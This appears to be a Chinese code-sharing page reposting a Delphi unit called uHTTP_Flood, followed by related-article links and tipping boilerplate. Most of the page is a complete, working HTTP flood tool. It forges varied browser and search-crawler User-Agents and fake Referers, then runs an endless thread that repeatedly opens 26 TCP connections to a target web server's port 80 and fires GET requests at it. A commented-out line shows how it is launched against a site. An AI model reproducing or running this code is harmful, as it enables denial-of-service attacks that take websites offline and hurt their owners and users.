delphi uHTTP_Flood


本文整理自网络,侵删。

  

//*******************************************//
//       Coded by NIV aka coder              //
//           Made in Belarus                 //
// Welcome http://forum.codingworld.ru       //
//*******************************************//

unit uHTTP_Flood;

interface

uses
Windows, WinSock;
const
UserAgent :array[0..9] of string = (
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12',
'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16',
'Mozilla/5.0 (compatible; Googlebot/2.1',
'Mozilla/5.0 (compatible; msnbot/1.1',
'Mozilla/5.0 (compatible; Yahoo! Slurp',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Opera/9.60 Presto/2.1.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.A.B.C Safari/525.13'
);


Referer :array[0..9] of string = (
'www.yandex.ru',
'www.aport.ru',
'www.rambler.ru',
'www.google.ru',
'www.yahoo.com',
'www.altavista.com',
'www.ya.ru',
'www.meta.ua',
'www.all.by',
'www.lycos.com'
);
var
ThreadHttp   :Cardinal;
idThreadHttp :Cardinal;
Http        :Boolean;


procedure Make(szHost,szURL :String);

implementation


var
Host      :String;
url       :String;

function CreateHTTPRequest: String;
var
zapros: String;
// b :TextFile;
begin
begin
Randomize;
zapros:='GET '+URL+' HTTP/1.1'#13#10+
        'Host: '+host+ #13#10+
        'User-Agent: '+ UserAgent[Random(9)]+ #13#10+
        'Accept: */*;q=0.1'#13#10+
        'Accept-Encoding: gzip,deflate'#13#10+
        'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'#13#10+
        'Referer: '+ Referer[Random(9)] + #13#10 +
        'Content-Type: application/x-www-form-urlencoded'#13#10+
        'Connection: Keep-Alive'#13#10#13#10;
{   begin
    assignfile(b, 'LOG_STRING.txt');
    append(b);
    writeln(b, zapros);
    closefile(b);
   end; }
end;
Result := zapros;
end;

procedure fWSRecv;
var
hSocket:array [0..400] of TSocket;
hHost: PHostEnt;
hAddr: TSockAddrIn;
zapros,site:string;
c :integer;

begin
site:=host;
zapros:= CreateHTTPRequest;
hHost := gethostbyname(PChar(site));
hAddr.sin_family := AF_INET;
hAddr.sin_port := htons(80);
hAddr.sin_addr := pinaddr(hHost^.h_addr^)^;
   while true do
begin
   for c := 0 to 25 do
begin
     hSocket[c] := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
end;
      for c := 0 to 25 do //25
if connect(hSocket[c], hAddr, SizeOf(hAddr)) = SOCKET_ERROR then
     begin
       closesocket(hSocket[c]);
         exit;
          end;
        for c := 0 to 25 do
       
if    Send(hSocket[c], zapros[1], length(zapros), 0) = SOCKET_ERROR then
    exit;
for c := 0 to 25 do
CloseSocket(hSocket[c]);
// --> SuspendThread(ThreadHTTP);
end;end;
//Make('www.site.com','');
// /search.php?searchid=4219

procedure Make(szHost,szURL :String );
var
ws:TwsaData;
begin
WSAStartup($101, ws);
Host := szHost;
URL := szURL;
ThreadHTTP := CreateThread(nil, 0, @fWSRecv, nil, 0, idThreadHTTP);
end;

end.


相关阅读 >>

Delphi判断字符是否是汉字

Delphi xe 制作的萤光时钟,可改作屏保

Delphi比较两个位图是否相同

dbgrid的cellclick事件,单击当前行记录的那一行时,不发生

Delphi 在消息窗口中显示进度条

Delphi 如何快速读取非常大的文本文件

Delphi bytestofile

Delphi ioutils单元查找文件夹高级功能

Delphi 字符串反转函数

Delphi 比较俩组ip地址是否一样

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...